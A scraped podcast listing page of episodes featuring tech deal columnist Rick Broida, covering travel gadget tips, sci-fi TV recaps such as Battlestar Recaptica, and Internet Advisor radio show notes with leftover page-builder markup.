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Dishin\' Digital
Dishin' DigitalAvoid overseas roaming or data sticker shock with an electronic sim cardWe've got more of "Rick's Picks" for travel.  Rick Broida writes the Deal Secrets newsletter on Substack.  He says an electronic sim card or eSim is an easy and affordable way to use data overseas.  One brand he likes is Airalo. More here: https://substack.com/@dealsecrets
2023-09-1501 minDishin\' Digital
Dishin' DigitalTravel hack: how to connect your wireless headphones to an airplane's entertainment systemWe've got more of "Rick's Picks" for travel.  Rick Broida writes the Deal Secrets newsletter on Substack.  He says a Bluetooth wireless transmitter is essential for air travel. One model he recommends is the Airfly Pro.   More here: https://substack.com/@dealsecrets
2023-09-0801 minDishin\' Digital
Dishin' DigitalKayak introduces "Best Time to Travel" toolWe've got "Rick's Picks" for travel.  Rick Broida writes the Deal Secrets newsletter on Substack.  He says your travel planning should start with Kayak's "Best Time to Travel" tool.  More here: https://substack.com/@dealsecrets
2023-09-0101 minDishin\' Digital
Dishin' DigitalAvoid overseas roaming or data sticker shock with an electronic sim cardWe've got more of "Rick's Picks" for travel.  Rick Broida writes the Deal Secrets newsletter on Substack.  He says an electronic sim card or eSim is an easy and affordable way to use data overseas.  One brand he likes is Airalo. More here: https://substack.com/@dealsecrets
2023-06-2301 minDishin\' Digital
Dishin' DigitalTravel hack: how to connect your wireless headphones to an airplane's entertainment systemWe've got more of "Rick's Picks" for travel.  Rick Broida writes the Deal Secrets newsletter on Substack.  He says a Bluetooth wireless transmitter is essential for air travel. One model he recommends is the Airfly Pro.   More here: https://substack.com/@dealsecrets
2023-06-2201 minDishin\' Digital
Dishin' DigitalKayak introduces "Best Time to Travel" toolWe've got "Rick's Picks" for travel.  Rick Broida writes the Deal Secrets newsletter on Substack.  He says your travel planning should start with Kayak's "Best Time to Travel" tool.  More here: https://substack.com/@dealsecrets
2023-06-2101 minDishin\' Digital
Dishin' DigitalHoliday Top Tech Gift Guide: XGIMI Elfin Mini ProjectorWe're talking to our favorite tech experts about their top tech picks for the holidays.  Today, we speak with Deal Secrets' Rick Broida about the XGIMI Elfin Mini Projector. More from Rick here: https://dealsecrets.substack.com/
2022-12-0701 minDishin\' Digital
Dishin' DigitalHoliday Top Tech Gift Guide: Kindle and Ember mugOur annual Holiday Top Tech Gift Guide is back, where we talk to our favorite tech experts about their picks for the holidays.  Today, we speak with Rick Broida, author of the weekly newsletter Deal Secrets about the DJI Avata drone.  More from Rick here: https://dealsecrets.substack.com/
2022-11-3000 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS4 E6 - The Most Underrated Shows Of All TimeLooking for stuff that fell between the cracks of the stuff you love? Well, you're in for a treat, becuase this week Dave wrote the description you're reading right now, and he's here to tell you that you're about to find an handful of the most underrated TV shows and movies between the metaphorical cushions. And there's more: Rick and Dave challenge each other to a geeky duel, more of what we'd do if we controlled the universe, and other assorted nonsense. See you there.
2022-07-0249 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS4 E2 - The Best Superhero Movies, PeriodIn which Rick proves that superhero movies frequently defy the "sequels suck" rule, and Dave reveals questionable taste in superhero movies. Like what you're hearing? Help us control the universe by hitting up our Patreon page and dropping a few dollars.
2022-04-0455 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS4 E1 - What We Watched on Our Winter VacationSeason 4, baby! We're here to talk about Ozark (Dave is late to the party), Boba Fett (Rick wants out of this party), the new Star Trek movie, the Firefly reboot, and much much more.
2022-03-2043 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS3 E4 - Coachfella: We Met with a Life Coach. Here's What HappenedIf ever a couple guys needed some life coaching, it's us. So we independently met with Ryan Burtanog, M.Ed., MA, who helped answer these burning questions: 1) What the heck is a life coach? and 2) How much does it cost? (Spoiler alert: Ryan's rates are incredibly reasonable.) See for yourself at www.coachwithryan.com and tell him Rick and Dave sent you. Also: The failed promise of 3D printing and the long-delayed joy that is Netflix's Dark.
2021-10-0431 minGoalChat
GoalChatConversation on Creating Content with Rick Broida, Erika Heald, and Jon MooreOn this episode of The DEB Show, Tech Editor/Writer Rick Broida, Content Marketing Strategist Erika Heald, and Chief Deployment Officer of The Asset Jon Moore talk about Creating Content with host Debra Eckerling. Rick, Erika, and Jon - who have experience and insight in writing, marketing, events, and more - share their backstories, side hustles, and lots of tips. The guests agree on the key elements for creating content: know your purpose/mission; educate, inform, entertain; and have fun! Learn more about your ad choices. Visit megaphone.fm/adchoices
2021-09-301h 00Rick and Dave Control the Universe
Rick and Dave Control the UniverseS3 E2 - Rick Needs Career Coaching, Dave Wants His Two Hours BackMidlife crisis alert! "What now?" Rick ponders. Meanwhile, Dave is very angry that he sat through a particular movie, but very happy he flew across the country to see a special TV.
2021-08-2328 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS2 E6 - Captain Ah-meh-rica and the Winter Woe-ldierYOU try coming up with a better way to make fun of Marvel's latest. But don't miss our post-mortem, because we have a LOT of thoughts. Plus: Rick gushes about the series that got him through the pandemic and Dave argues that his latest find didn't run one season too long. (Rick disagrees.)
2021-05-0938 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS2 E5 - Revisiting TikTok, Our New Favorite Time-WasterTikTok got Rick through the pandemic; Dave took some convincing, but now he's totally on board. Find out why we're TikTok addicts now -- and why you should be too. Plus: Our first Pie Hole segment in a looong while. Get ready to have your food world rocked.
2021-04-1526 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS2 E1 - We Need to Talk About Star Trek (Again)We're back! And we have some thoughts about Star Trek Discovery S3, oh yes we do. Plus, Dave tried Amazon's Alexa-enhanced eyeglasses, and Rick is fiddling with T-Mobile's $50 home-internet service. Here's the straight scoop on both.
2021-02-2736 minThe Cheapskate Show
The Cheapskate ShowShockingly cheap home security systemsHome security system prices have dropped like a rock since your dad installed one 20 years ago. Even so, you can still save a bundle by looking past the obvious choices. At the top of the show this week, we talked about home security services. We mentioned the security system roundup at CNET, and talked about Kangaroo as well as all the cheap security gear at Wyze.Also, don't forget that you can put your Alexa in Guard mode.In the Tip of the Week, Rick told you about how to get a f...
2020-07-2926 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS1 E5 - Devs, Lies and VideogamesWe’re finished with Devs and have many spoilery things to discuss. Plus: Dave exercises in VR and Rick gets serious about Grand Theft Auto V. (No, he hasn’t time-traveled back to 2013.)
2020-06-2843 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS1 E4 - The Best TV Show We've Seen This YearWe’re irrationally excited about the new Hulu series Devs; listen in to find out why. Plus, a must-read for fans of The Office, and Dave reveals his prized possession. (If you had your money on “wind-up Star Wars toy,” you’re in the ballpark.)
2020-06-0731 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS1 E3 - What is (up with ) The Matrix?How do we explain that gaping plot hole in one of our favorite movies? You know how: A wizard did it! Plus, we geek out over Arcade1Up's Star Wars arcade game and share the funniest show on the interwebs right now.
2020-05-3129 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS1 E2 - We Need to Talk About Star TrekPlus: Raising your steak game with sous video cooking and our takes on Uploaded, I Am Not Okay with This and Jerry Seinfeld's new Netflix special.
2020-05-2429 minThe Daily Charge
The Daily ChargeThe Cheapskate is in the house with some killer dealsRick Broida on getting the most bang for your buck and his new show. Memorial Day deals: https://cnet.co/2ynW4V8Samsung Galaxy S20 5G deal: https://cnet.co/2Xc0gzyLeave a voicemail: 862-250-8573Follow us: twitter.com/thedailychargeHomepage: cnet.com/daily-charge Learn more about your ad choices. Visit megaphone.fm/adchoices
2020-05-2012 minThe Cheapskate Show
The Cheapskate ShowFree password managers: Here's the one you needOn the very first episode of the Cheapskate Show, we discuss the best password managers for personal privacy protection and how to save big when buying a smartphone. Hint: Timing is everything. In this episode:1. Welcome to the first episode of the Cheapskate Show! CNET's Cheapskate, Rick Broida and co-host Dave Johnson introduce themselves.2. Tip of the week: Password managers. What you need to know about password security, using password managers, Rick & Dave’s recommended free password manager. 3. Best Under $20: Protect your phone from drops with the Phone Loop. Find it at phoneloops.com...
2020-05-2021 minThe Cheapskate Show
The Cheapskate ShowThe Cheapskate Show, easy tips and tricks to save you moneyMeet Rick Broida and Dave Johnson, CNET's resident deal finders. Each Wednesday, Rick and Dave bring you the Cheapskate Show, a podcast dedicated to saving you money (and having fun while doing it). We tell you about deals, bargains, free stuff, and ways to avoid spending big bucks when small bucks will do. We'll even take listener questions, so subscribe and start learning how to be frugal in the world of tech.  Learn more about your ad choices. Visit megaphone.fm/adchoices
2020-05-1800 minRick and Dave Control the Universe
Rick and Dave Control the UniverseS1 E1 - A Wizard Did It...Hello universe! We're here to talk about all the things that interest us, namely TV, movies, books, food, sci-fi, tech, and just being alive in these crazy times. Come for the recommendations, stay for the fun.
2020-05-1729 minThe Daily Charge
The Daily ChargeThe Galaxy S20 is coming, but here are the best dealsSamsung's latest too much for you? The smart money may be on the Galaxy S10 or other discounted phones. Deal-meister Rick Broida lays it out for us. Deals:Discounted S10: https://cnet.co/39qmYJ9LG G8 ThinQ discount: https://cnet.co/39rojziS10 Plus deal: https://cnet.co/2wwuofbNo contract iPhone: https://cnet.co/2VM5p2a Leave a voicemail: 862-250-8573Follow us: twitter.com/thedailychargeHomepage: cnet.com/daily-chargeSubscribe to the SUPERCHARGED extended edition audio podcast:
2020-03-0412 minBattlestar Recaptica
Battlestar RecapticaBONUS: The Star Trek Picardcast - Episode 0Hey, Recaptica fans! Something new from Rick and Dave: We're starting with a Star Trek Picard "precap," then we'll go on to recap the first episode of the new series -- and maybe more! Hope you'll join us. We missed you!
2020-02-1838 minThe Daily Charge
The Daily ChargeBlack Friday’s coming: How to be a pro at finding the best dealsSpecial guest Rick Broida is on to help us identify the best and worst of Black Friday and Cyber Monday, and we discuss how tariffs might affect you in the near future. Articles: Black Friday Amazon Deals: https://cnet.co/2XLCiuNTariffs: https://cnet.co/34hN0f2Follow us: twitter.com/thedailychargeHomepage: cnet.com/daily-chargeSubscribe to the SUPERCHARGED extended edition audio podcast: iTunes: https://apple.co/2lPB1EdSpotify: https://spoti.fi/2kPWTiHStitcher: https://bit.ly/2mcrqr8W...
2019-11-2508 minThe Daily Charge
The Daily ChargeCheapskate advice: extendedThe first of many visits from Rick Broida, The Cheapskate, highlighting educational services, Black Friday prep and current trends. http://youtube.com/dailychargehttp://www.cnet.com/daily-chargehttp://www.twitter.com/thedailycharge Learn more about your ad choices. Visit megaphone.fm/adchoices
2019-09-0420 minConnectSafely Live
ConnectSafely LiveThe Cheapskate Mystery Box 2019CNET and Cheapskate columnist Rick Broida has launched the Cheapskate Mystery Box 2019 Edition, a bundle of tech goodies from a variety of great companies. 1000 mystery boxes are available, pay $75 to get $250 of tech products with 100% of proceeds going towards ConnectSafely, The Hunger Project and TAPS! Head over to the Mystery Box sign-up page and enter your name and email address for a chance to purchase a box, you have until midnight ET on Wednesday, Aug. 14.
2019-08-1306 minBattlestar Recaptica
Battlestar RecapticaOur Final Episode: 'The Plan'We're back! It took awhile, but as promised, we returned to the Galactiverse for one last hurrah. Actually, more like one last "meh." Because while we did find some redeeming elements in this half-baked "Plan," we're not sure it's required viewing. It's definitely required listening, though, because we also spend some time talking about Star Trek Discovery, The Orville, The Umbrella Academy, and even Avengers: Endgame!
2019-05-0744 minInternet Advisor
Internet AdvisorPodcast 1841 – Cheapie’s Back with Holiday Gifting TipsThis weeks show we welcome back the one and only Rick Broida, formally know as the Cheapskate now Senior Editor with CNet. Rick will be in to fill us in on great gadget gifs for that techie or not so techie on you gift list. Also he will be speaking on internet tools or websites that will help you find the best price for the gifts that are on your list.Calvin will be talking about those “Highly Charged” and “Electrifying” items for some of you tech gifts and or toys. Yes! He will be talking...
2018-12-0739 minBattlestar Recaptica
Battlestar RecapticaS4 E21 - 'Daybreak, Pt. 3'Finally, the finale! It's bittersweet to say goodbye -- not just to this monumental TV show, but to everyone who's watched and listened along with us. Thanks so much for joining us on this amazing journey. And get ready for what's next! Yep, we're doing Travelers.
2018-12-041h 03Protocol 1: A Travelers Podcast
Protocol 1: A Travelers PodcastWelcome to Protocol 1!Welcome to Protocol 1: A Travelers Podcast. We're Dave Johnson and Rick Broida -- longtime friends, writers, and sci-fi nerds -- and we're here to dissect every episode of the amazing Netflix series. (If our names sound familiar, perhaps you're thinking of our mega-popular first podcast, Battlestar Recaptica?) Here's a quick intro to tide you ever until our first official episodes, which are coming soon!
2018-11-2900 minBattlestar Recaptica
Battlestar RecapticaS4 E20 - 'Daybreak, Pt. 2'Get ready for the non-stop action thrill-ride that is the middle act of the series finale.
2018-11-1959 minBattlestar Recaptica
Battlestar RecapticaS4 E19 - 'Daybreak, Pt. 1'It's the (beginning of the) end of the world as we know it, and we feel fine. Why not commemorate the show -- and the podcast -- with some awesome Battlestar Recaptica swag?
2018-11-1053 minBattlestar Recaptica
Battlestar RecapticaS4 E18 - 'Islanded in a Stream of Stars' (Extended version)Let's all sing together: "Islanded in a stream (of stars) / That is what we are / No one in-between / How can we be wrong?" Sorry, we just thought some Bee Gees might make up for this uneven episode. We watched the extended cut... and don't necessarily recommend you do likewise.
2018-11-021h 18Battlestar Recaptica
Battlestar RecapticaS4 E17 - 'Someone to Watch Over Me' with special guest Mark A. Altman!AKA "Ghost Dad." AKA "Battlestar Gershwinica." AKA "Boom-er goes the dynamite." Also, the co-author of "So Say We All" (the book, not our show sign-off) stops by to share some fantastic stories about the show!
2018-10-281h 28Battlestar Recaptica
Battlestar RecapticaS4 E16 - 'Deadlock'Maybe they should have called it Meh-lock? A plodding, non-sensical misfire in an otherwise wonderful season. 
2018-10-051h 07Battlestar Recaptica
Battlestar RecapticaS4 E15 - 'No Exit'Say hello to Anders Exposition-Bot 3000! And find out who won the Battlestar Recaptica Blu-ray Giveaway!
2018-09-251h 21Battlestar Recaptica
Battlestar RecapticaS4 E14 - 'Blood on the Scales'Um, remember all that stuff Rick said about Zarek being a decent guy? Never mind. Plus: Dave's big announcement is swag-tastic! Get your Battlestar Recaptica loot at https://www.teepublic.com/user/bsgr
2018-09-121h 17Battlestar Recaptica
Battlestar RecapticaS4 E13 - 'The Oath' with special guest Jamie Bamber!Felix Gaeta swore an oath when he put on that uniform, but he betrays it in this episode. We swore an oath to bring you as many cast-members as possible, and we are honoring that promise with none other than Jamie "Apollo" Bamber! Therefore: We > Gaeta.
2018-09-041h 27Battlestar Recaptica
Battlestar RecapticaS4 E12 - 'A Disquiet Follows My Soul'And when a disquiet catches up to my soul, it's a bloodbath. Meanwhile, there's a whole lotta fomenting going on. Join us for a breakdown of Ron Moore's first stint in the director's chair! (Spoiler alert: he did great!)
2018-08-241h 15Battlestar Recaptica
Battlestar RecapticaS4 E11 - 'Sometimes a Great Notion' with special guest Kandyse McClure!Dualla herself joins us to discuss one of the most wrenching episodes to date. Meanwhile, Tigh and Adama have it out in one of the most wrenching scenes to date. Did we mention this episode was wrenching?
2018-08-171h 33Battlestar Recaptica
Battlestar RecapticaS4 E10 - 'Revelations'"Wait a second... you can't be a Cylon. You used to have HAIR!" Come to think of it, what real proof DO the Final Four have that they're Cylons? A shared love of Jimi Hendrix? Plus: A Battlestar Recaptica super-fan joins us to talk BSG!
2018-08-101h 07Battlestar Recaptica
Battlestar RecapticaS4 E9 - 'The Hub'D'Anna returns (yay!), Baltar fesses up (whoa!), and Roslyn has visions (ummm... no thanks!).
2018-08-031h 08Battlestar Recaptica
Battlestar RecapticaS4 E8 - 'Sine Qua Non'No this, no that. Sine Qua Non. Turns out the Galactiverse speaks Latin -- and so does Adama! That's the good news; the bad news is that Romo Lampkin returns, and not in a good way.
2018-07-2658 minBattlestar Recaptica
Battlestar RecapticaS4 E7 - 'Guess What's Coming to Dinner'Oooh! Is it Sidney Poitier? Oh, right: what. Okay, then our money's on a toaster. Just make sure you're not serving toast! Because awkward... Want to check out the video Rick mentioned in this episode? Here's your link: https://www.youtube.com/watch?v=xuCn8ux2gbs
2018-06-101h 09Battlestar Recaptica
Battlestar RecapticaS4 E6 - 'Faith'Faith takes many forms: faith in your commanding officer, faith in one or more gods, faith in the babble of a gal lying in a tub of goo...
2018-06-0358 minBattlestar Recaptica
Battlestar RecapticaS4 E5 - 'The Road Less Traveled'"Two roads diverged in a yellow wood... I took the one less traveled by." --Robert Frost What is the "road" in this episode? Discuss. (We have absolutely no idea.) Want to support Battlestar Recaptica with a little space-cash? Now you can! https://patron.podbean.com/bsgrecap
2018-05-1149 minBattlestar Recaptica
Battlestar RecapticaS4 E4 - 'Escape Velocity' with special guest Aaron Douglas!The Chief himself stops by to chat about his time on the Galactica and, among other things, that amazing scene in Joe's Bar.
2018-05-071h 24Battlestar Recaptica
Battlestar RecapticaS4 E3 - 'The Ties That Bind'No, not the TIGHs that bind... not the Springsteen song... not even the eponymous novel set in the "Star Wars" universe. This one's all about fractured marriages and how Tory is THE WORST!
2018-04-1659 minBattlestar Recaptica
Battlestar RecapticaS4 E2 - 'Six of One'...tertiary adjunct of unimatrix... whoops, wrong show! This is the one where the Cylons break bad -- against each other!
2018-03-311h 12Battlestar Recaptica
Battlestar RecapticaS4 E1 - 'He That Believeth in Me'Season 4 gets off to an exciting start -- and we have a spiffy new logo to go with it!
2018-03-251h 02Battlestar Recaptica
Battlestar RecapticaS3 E20 - 'Crossroads, Pt. 2'Well, it's the end of season 3, and not much happens... no, wait, ALL THE THINGS HAPPEN! Baltar's verdict is in; Cylons are revealed; and someone is back from the dead! (You'll NEVER guess who...)
2018-02-2546 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1808 2/24/18:Rick Broida, The Cheapskate, 20th Anniversary Month[vc_row][vc_column][vc_cta h2=”Click the menu below to make sure that you get this week’s podcast. Clicking on the link at the bottom of this page or Subscribing to Internet Advisor Podcast Feed at iTunes or with your favorite podcast app will get you our show. “] Click here to listen to this week’s podcast Clicking on the link at the bottom of this page… Subscribing to Internet Advisor Podcast Feed at iTunes or with  your favorite podcast app. Image already added [/vc_cta][vc_separator color=”black” border_width=”5″][vc_single_image ima...
2018-02-2300 minBattlestar Recaptica
Battlestar RecapticaS3 E19 - 'Crossroads, Pt 1'It's the beginning of the end -- of season three! It's also the beginning of our newfound appreciation for Romo Lampkin.
2018-02-0749 minBattlestar Recaptica
Battlestar RecapticaS3 E18 - ' The Son Also Rises'It's not widely known that Ernest Hemingway penned a script for Battlest... hang on... nope, nope, I'm being told that's not correct. Which is too bad, because this episode could have used some help from ol' Papa...
2018-01-2151 minBattlestar Recaptica
Battlestar RecapticaS3 E17 - 'Maelstrom'It's 11 years later and we're still not going to spoil what happens in this episode. Because some of us respect the Spoiler Code, a thing we totally just made up.
2018-01-1751 minBattlestar Recaptica
Battlestar RecapticaS3 E16 - 'Dirty Hands'Whether it's refining Tylium or writing an underground manifesto, you can't sow the seeds of discontent without getting your hands dirty.
2018-01-091h 01Battlestar Recaptica
Battlestar RecapticaS3 E15 - 'A Day in the Life'Not one of BSG's finest, but still better than any single episode of "The Orville." Eh? Eh? (Think them's fighting words? Let us know!)
2017-12-3041 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1745: The Cheapskate Reviews 2017[vc_row][vc_column][vc_single_image image=”14733″ img_size=”large” alignment=”center”][vc_separator color=”black” border_width=”5″][vc_column_text] Show Notes Hour 1: The Cheapskate Review     Don’t let that friendly smile fool you. This steely eyed big game bargain hunter is remorseless when tracking the biggest bargains on everything from drones to smartphone subscription plans.  We are, of course, talking about Rick Broida, CNET‘s official Cheapskate and our Gadget Guy.  We have turned the first hour of the show over to Rick to talk about The Cheapskate’s f...
2017-12-2800 minBattlestar Recaptica
Battlestar RecapticaS3 E14 - 'The Woman King'Aka "Doctors Without Morals," aka "Rick promises to stop ragging on episodes he thinks are going to be bad." Because, save for the one bonkers plot-point that kicks this whole thing off, this is great stuff!
2017-12-1554 minBattlestar Recaptica
Battlestar RecapticaS3 E13 - 'Taking a Break from All Your Worries'"NORM!" "What's shaking, Normie?" "I'm just a big loaf of bread surrounded by toasters."
2017-11-2040 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1739: Thanksgiving with the Cheapskate[vc_row][vc_column][vc_separator color=”black” border_width=”3″][vc_single_image image=”11549″ img_size=”full” alignment=”center” title=”Show Notes Hour 1″][vc_column_text]Rick Broida is a columnist for CNet who has worn the title of Cheapskate proudly for the past 10 years! Throughout the year he is on the hunt for the best deals that can be found.  Black Friday and Cyber Monday have been two post Thanksgiving days when stores have traditionally lowered prices with hopes of ending the year on a profitable note.  In fact, however, Rick knows and can lead you to great deals al...
2017-11-1700 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1730: The Cheapskate Goes Back to School and NoMoreRansom[vc_row][vc_column][vc_single_image image=”11549″ img_size=”large” alignment=”center”][vc_separator color=”black” border_width=”5″][vc_cta h2=”Listen to this week’s full two hour podcast as heard on WJR 760-AM”] Click here to listen to this week’s podcast Clicking on the link at the bottom of this page… Subscribing to Internet Advisor Podcast Feed at iTunes or with  your favorite podcast app or finding our shows at Podcast Detroit each week o.[/vc_cta][vc_separator color=”black” border_width=”5″][vc_column_text] Show Notes Hour 1 The Cheapskate Back to School Is...
2017-08-0500 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1701 The Gadget Guy and Autonomous Vehicles at NAIAS[vc_row][vc_column][vc_single_image image=”13531″ img_size=”large”][vc_separator][vc_cta h2=”Click below to listen to this week’s full two hour podcast.”] This week’s show podcast is now available for immediate listening. Chose any of the Five Ways to listen to our weekly podcast. Click here to listen to this week’s podcast Clicking on the link at the bottom of this page… Subscribe to “Internet Advisor Podcast Feed”  on iTunes Use your favorite Podcast App or Find our shows at Podcast Detroit.com [/vc_cta][vc_separator color=”black” border_width=”3″...
2017-01-1700 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1634 Back to School Computer Shopping with Rick Broida[vc_row][vc_column][vc_column_text] We apologize for the delay in publishing this podcast. Our co host and producer, Foster Braun, is also our podcast editor.  Shortly after the show ended on Saturday, he was taken to the ER for severe pain and wasn’t discharged until Monday afternoon.  Good news: no fractures! Pain persists but is better controlled.  The full podcast is being edited and will be posted, God willing, by Tuesday, Aug. 30.  Thank for your patience.[/vc_column_text][vc_separator color=”black” border_width=”4″][vc_cta h2=”Listen to this week’s full two...
2016-08-2700 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1622 Rick Broida and Battlestar Recaptica[vc_row][vc_column][vc_single_image image=”12498″ img_size=”full”][vc_separator color=”black” border_width=”3″][vc_cta h2=”Listen to this week’s full two hour podcast as heard on WJR 760-AM “] Clicking on the link at the bottom of this page… Subscribing to Internet Advisor Podcast Feed at iTunes or with  your favorite podcast app or Finding our shows at Podcast Detroit each week [/vc_cta][vc_separator color=”black” border_width=”3″][vc_column_text] Show Notes: Hour 1: Rick Broida, the Gadget Guy and Cheapskate [/vc_column_text][vc_separator color=”black” border_wi...
2016-06-0300 minBattlestar Recaptica
Battlestar RecapticaMiniSeries Part 1Welcome to the debut episode of Battlestar Recaptica, in which Rick Broida and Dave Johnson recap every episode of the beloved TV series from start to finish. Find us on Twitter (@bsgrecap), Facebook and the Web. We want to hear from you!
2016-05-041h 18Podcasts – Internet Advisor
Podcasts – Internet Advisor1612 Virtual Reality and Hacking Fingerprints[vc_row][vc_column][vc_single_image image=”12157″ img_size=”full”][vc_separator color=”black” border_width=”3″][vc_cta h2=”Listen to the full three hour podcast by,…”] Clicking on the link at the bottom of this page… Subscribing to Internet Advisor Podcast Feed at iTunes or with  your favorite podcast app or Finding our shows at Podcast Detroit each week [/vc_cta][vc_separator color=”black” border_width=”3″][vc_column_text] Show Notes: Hour 1 [/vc_column_text][vc_column_text]Steven Fox, is a Senior Cyber Security Officer, US Dept. of Treasury outlined changes that h...
2016-03-2600 minGoalChat
GoalChatEp #23: Taking Risks with Rick BroidaRick Broida joins us on the Guided Goals Podcast, and we’re going to talk about taking risks.  Rick has written about consumer technology for over 25 years and is the author of CNET's long-running The Cheapskate blog and The Cheapskate Rules: 21 Easy Money-Saving Tech Secrets. A little over a year ago, he started Trapped in a Room with a Zombie, an escape room located in downtown Detroit Rick talks about zombie rooms, taking risks, passion projects, and more. The Guided Goals Podcast gives you the tools, direction, and resources you need to pursue your...
2016-02-1621 minPodcasts – Internet Advisor
Podcasts – Internet Advisor1601 Super Show Doubleheader: CES and NAIAS[vc_row][vc_column][vc_separator color=”black” border_width=”3″][vc_cta h2=”Click here to download this week’s podcast!”] Super Show Doubleheader: CES and NAIAS [/vc_cta][vc_separator color=”black” border_width=”3″][vc_column_text] Show Notes: Hour 1 [/vc_column_text][vc_single_image image=”11737″ img_size=”large” alignment=”center”][/vc_column][/vc_row][vc_row][vc_column width=”1/2″][vc_column_text]Help Desk Heaven: Cal Carson and Ed Rudel are two of our Tech Experts who answer your questions during our second hour of the show and by email.  Today we lo...
2016-01-0900 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorFamily Reunion Special Look Back at 2015[vc_row][vc_column][vc_separator color=”black” border_width=”3″][vc_cta h2=”Click Here to Download This Week’s Pocast” txt_align=”center”] Special Show: Family Reunion and 2015 in Review [/vc_cta][vc_separator color=”black” border_width=”3″][/vc_column][vc_column][vc_single_image image=”11679″ img_size=”full” alignment=”center” title=”Family Reunion”][vc_column_text] Show Notes: Hour 1 [/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_separator color=”black” border_width=”3″][/vc_column][/vc_row][vc_row][vc_column width=”1/2″][vc_single_image image=”11394″ img_size=”medium”][/vc_column][vc...
2015-12-2600 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorHoliday Shopping with Cheapskate & Random Acts of Christmas Kindness[vc_row][vc_column][vc_separator color=”black” border_width=”3″][vc_cta h2=”Click Here to Download This Week’s Podcast”] Holiday Shopping with Cheapskate & Random Acts of Christmas Kindness [/vc_cta][vc_separator color=”black” border_width=”3″][vc_column_text] Show Notes Hour 1 [/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_single_image image=”11002″ img_size=”medium” alignment=”center”][vc_column_text]Rick Broida writes the weekly Cheapskate column for CNET, one of the Net’s biggest news sources where he specializes in finding the best deals at the best prices. We a...
2015-11-2900 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorRick Broida & Windows 10: To Touch or Not to Touch Show Notes Hour 1 King of Cheapskates Joins Feisty Panel Once a month Rick Broida, noted cheapskate columnist, joins us in studio to talk about some of the latest cost saving/shaving issues.  This time around we have a rowdy panel of tech experts to challenge him.             Gary Baker, the original Internet Advisor, and co-founder of the show.       Ed Rudel, our right hand tech...
2015-07-2700 minInternet Advisor
Internet AdvisorRick Broida & Windows 10: To Touch or Not to TouchShow NotesHour 1King of Cheapskates Joins Feisty PanelOnce a month Rick Broida, noted cheapskate columnist, joins us in studio to talk about some of the latest cost saving/shaving issues.  This time around we have a rowdy panel of tech experts to challenge him.      Gary Baker, the original Internet Advisor, and co-founder of the show.   Ed Rudel, our right hand tech...
2015-07-2700 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1519: The Gadget Guy Answers the Big Question & Listener Q & A    Please Drive Safely This Memorial Day Weekend   Show Notes Hour 1 Rick Broida the Gadget Guy and legendary Cheapskate answers: The Big Question: What should I buy to replace my aging PC before Windows 10 arrives?  PC or Laptop? Don’t miss this rousing discussion that is being repeated everywhere as the deadline for the launch of Windows 10 approaches in the summer of 2015. Rick Broida wants to replace his mother’s aging computer and Foster Braun needs to replace his wife Ginny’s aging, re...
2015-05-1600 minInternet Advisor
Internet AdvisorPodcast 1519: The Gadget Guy Answers the Big Question & Listener Q & A  Please Drive Safely This Memorial Day Weekend Show NotesHour 1Rick Broida the Gadget Guy and legendary Cheapskate answers:The Big Question: What should I buy to replace my aging PC before Windows 10 arrives?  PC or Laptop?Don’t miss this rousing discussion that is being repeated everywhere as the deadline for the launch of Windows 10 approaches in the summer of 2015. Rick Broida wants to replace his mother’s aging computer and Foster Braun needs to replace his wife Ginny’s aging, re...
2015-05-1600 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1511 3/14/15: Rick Broida Takes A Bite Out of Apple & Answering Listener Questions  Happy Pi Day 3.14.15  Show Notes: Hour 1 Is the New 12″ MacBook A Marvel of Design or the Result of the “Apple PR Zone”? Join our hosts Gary Baker, Ed Rudel, Shane Hamelin and Foster Braun and they look at the Apple Spring forward event (3/9/15.)  Was it really about Apple Watch or even about the 12 ” MacBook Retina?  Maybe we all missed the main point of the dog and pony show in Cupertino! Rick Broida, the Gadget Guy and Cheapskate blogger, joins us in studio to give his opinion on Ap...
2015-03-1500 minInternet Advisor
Internet AdvisorPodcast 1511 3/14/15: Rick Broida Takes A Bite Out of Apple & Answering Listener Questions Happy Pi Day 3.14.15 Show Notes:Hour 1Is the New 12″ MacBook A Marvel of Design or the Result of the “Apple PR Zone”?Join our hosts Gary Baker, Ed Rudel, Shane Hamelin and Foster Braun and they look at the Apple Spring forward event (3/9/15.)  Was it really about Apple Watch or even about the 12 ” MacBook Retina?  Maybe we all missed the main point of the dog and pony show in Cupertino!Rick Broida, the Gadget Guy and Cheapskate blogger, joins us in studio to give his opinion on Ap...
2015-03-1500 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1447 Nov. 22, 2014 Holiday Shopping Preview with Rick Broida   Show Notes: Hour 1 Is Black Friday Such a Good Deal?…and other holiday shopping issues Rick Broida is not only our official “Cheapskate” but he is also our monthly guide to all the goodies and gadgets he gets to review.  Rick is a widely published commentator from HowTo.com to Time to CNet to Savings.com and a few other stops in between. You’re going to want to pay close attention and catch the tips, tricks and bargains that he has to point out at this gift giving time of year.
2014-11-2100 minInternet Advisor
